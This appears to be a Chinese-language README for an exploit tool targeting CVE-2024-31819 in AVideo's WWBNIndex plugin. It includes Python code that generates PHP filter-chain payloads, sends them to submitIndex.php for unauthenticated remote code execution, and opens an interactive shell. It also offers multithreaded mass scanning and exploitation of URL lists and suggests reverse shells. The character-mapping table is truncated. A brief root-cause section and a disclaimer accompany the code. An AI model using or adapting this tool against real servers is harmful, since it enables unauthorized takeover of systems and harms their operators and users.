AVideo Exploit (CVE-2024-31819)
该项目是一个针对 AVideo 平台 WWBNIndex 插件中严重安全漏洞的利用工具。该漏洞(CVE-2024-31819)允许未认证的攻击者通过精心构造的 PHP 过滤器链实现远程代码执行,从而完全控制目标服务器。
功能特性
- 未认证远程代码执行:无需任何用户名或密码,直接利用
submitIndex.php中的文件包含漏洞。 - PHP 过滤器链生成:内置生成器,可将任意 PHP 代码转换为可利用的过滤器链载荷。
- 交互式 Shell:成功利用后提供一个伪交互式命令行界面,方便执行系统命令。
- 批量扫描与利用:支持从文件中读取多个目标 URL,并使用多线程进行并发检测与攻击。
- 自动输出解析:智能解析响应内容,提取命令执行结果,移除无用信息。
- 多种利用方式:可直接执行单条命令,也可进入持久化的交互模式。
安装指南
环境要求
- Python 3.6 或更高版本
- 目标服务器运行 AVideo 平台版本 12.4 至 14.2
依赖安装
使用 pip 安装所需的 Python 依赖包:
pip install requests packaging rich alive-progress prompt-toolkit php-filter-chain
系统要求
- 支持 Windows / Linux / macOS 平台
- 需要能够访问目标服务器的网络权限
使用说明
基本用法
对单个目标 URL 进行漏洞利用:
python AVideoExploit.py -u http://target.com
批量扫描
对文件中的多个 URL 进行批量检测和利用:
python AVideoExploit.py -f urls.txt -t 10 -o results.txt
参数说明:
-u:指定单个目标的基础 URL-f:包含目标 URL 列表的文件(每行一个)-t:并发线程数(默认 5)-o:将输出结果保存到指定文件
典型使用场景
- 探测漏洞:运行脚本后,它会自动检测目标是否存在漏洞。
- 执行单条命令:在交互式 Shell 中直接输入系统命令,如
id、whoami、ls -la。 - 获取反向 Shell:使用交互式 Shell 执行反向连接命令,获取更稳定的控制权限。
核心代码模块
以下是项目中两个核心类的关键实现代码及注释。
AVideoExploit 类 - 漏洞利用主逻辑
class AVideoExploit:
"""AVideo 平台漏洞利用主类"""
def __init__(self, base_url):
self.console = Console() # 用于美化控制台输出
self.base_url = base_url.rstrip('/')
def generate_php_filter_payload(self, command):
"""生成 PHP 过滤器链载荷
将用户输入的命令包装成 PHP 代码,并转换为可触发的过滤器链。
Args:
command: 要执行的系统命令字符串
Returns:
可被漏洞点利用的过滤器链字符串
"""
# 构造要执行的 PHP 代码
php_code = f"<?php system('{command}'); echo '[S]'; system('{command}'); echo '[E]'; ?>"
generator = PHPFilterChainGenerator()
return generator.generate_filter_chain(php_code)
def send_payload(self, payload):
"""向漏洞端点发送恶意载荷
Args:
payload: 生成的过滤器链字符串
Returns:
成功时返回 HTTP 响应内容,失败返回 False
"""
headers = {"Content-Type": "application/x-www-form-urlencoded"}
try:
response = requests.post(
f"{self.base_url}/plugin/WWBNIndex/submitIndex.php",
data={"systemRootPath": payload},
headers=headers,
verify=False,
timeout=10,
)
if response.status_code == 200:
return response.text
return False
except requests.exceptions.RequestException:
return False
def parse_output(self, output):
"""从响应中解析命令执行结果
使用正则表达式提取被 [S] 和 [E] 标记包裹的输出内容。
Args:
output: HTTP 响应文本
Returns:
提取出的纯净命令输出,未找到则返回 None
"""
match = re.search(r"\[S\](.*?)\[E\]", output, re.DOTALL)
return match.group(1).strip() if match else None
def interactive_shell(self):
"""启动交互式命令 Shell
提供类似终端的交互界面,支持命令历史记录和实时输出反馈。
"""
session = PromptSession(history=InMemoryHistory())
self.custom_print("Interactive shell started. Type 'exit' to quit.", "*")
while True:
try:
command = session.prompt(HTML('<ansired>avideo></ansired> '))
if command.lower() == 'exit':
break
if command.strip():
self.execute_command(command)
except KeyboardInterrupt:
continue
except EOFError:
break
PHPFilterChainGenerator 类 - 过滤器链生成器
class PHPFilterChainGenerator:
"""PHP 过滤器链生成器
利用 PHP 的流过滤器(iconv, string.rot13, string.toupper 等)特性,
将任意 PHP 代码编码成可以通过文件包含函数执行的过滤器链。
"""
def __init__(self):
# 字符映射表:将每个字符(0-9, A-Z, a-z)转换为对应的 iconv 过滤器链
self.conversions = {
"0": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|...",
"1": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|...",
# ... 更多字符映射
}
def generate_filter_chain(self, php_code):
"""生成完整的 PHP 过滤器链
通过多次编码转换和字符串操作,将原始 PHP 代码转化为
可在 php://filter 伪协议中使用的过滤器链。
Args:
php_code: 要执行的 PHP 代码字符串
Returns:
完整的过滤器链字符串,格式为 php://filter/[chain]/resource=/etc/passwd
"""
# 步骤 1: 对 PHP 代码进行 Base64 编码
b64_code = base64.b64encode(php_code.encode()).decode()
# 步骤 2: 将 Base64 字符串拆解为单个字符
chars = list(b64_code)
# 步骤 3: 为每个字符生成对应的过滤器转换
filters = []
for char in chars:
if char in self.conversions:
filters.append(self.conversions[char])
# 步骤 4: 添加最终的解码过滤器
filters.append("convert.iconv.UTF8.UTF16LE")
filters.append("convert.quoted-printable-encode")
filters.append("convert.iconv.UTF16LE.UTF8")
filters.append("string.rot13")
# 步骤 5: 组装成完整的 php://filter 链
chain = "|".join(filters)
return f"php://filter/{chain}/resource=/etc/passwd"
漏洞原理
该漏洞源于 WWBNIndex 插件的 submitIndex.php 文件中,用户可控的 systemRootPath 参数被直接传入 require() 函数,且未经过任何过滤或验证。攻击者可以利用 PHP 的 php://filter 伪协议配合多层过滤器链,将任意 PHP 代码注入并执行。
漏洞代码示例(存在漏洞的文件片段):
<?php
// submitIndex.php - 存在漏洞的代码
$systemRootPath = $_POST['systemRootPath'];
require_once($systemRootPath . '/index.php');
?>
利用原理:
- 构造一个包含恶意 PHP 代码的字符串。
- 使用
php://filter协议和多个转换过滤器将代码编码。 - 当
require()包含该过滤器链时,PHP 会解码并执行其中的代码。
影响版本
- AVideo 平台版本 12.4 至 14.2
- 安装了
WWBNIndex插件的所有实例
免责声明
本工具仅用于安全研究、授权渗透测试和教育目的。未经授权使用此工具攻击目标系统属于违法行为。使用者需自行承担因不当使用造成的一切法律责任。 6HFtX5dABrKlqXeO5PUv/wg7+W+DhIKufLyBzYlqXLc=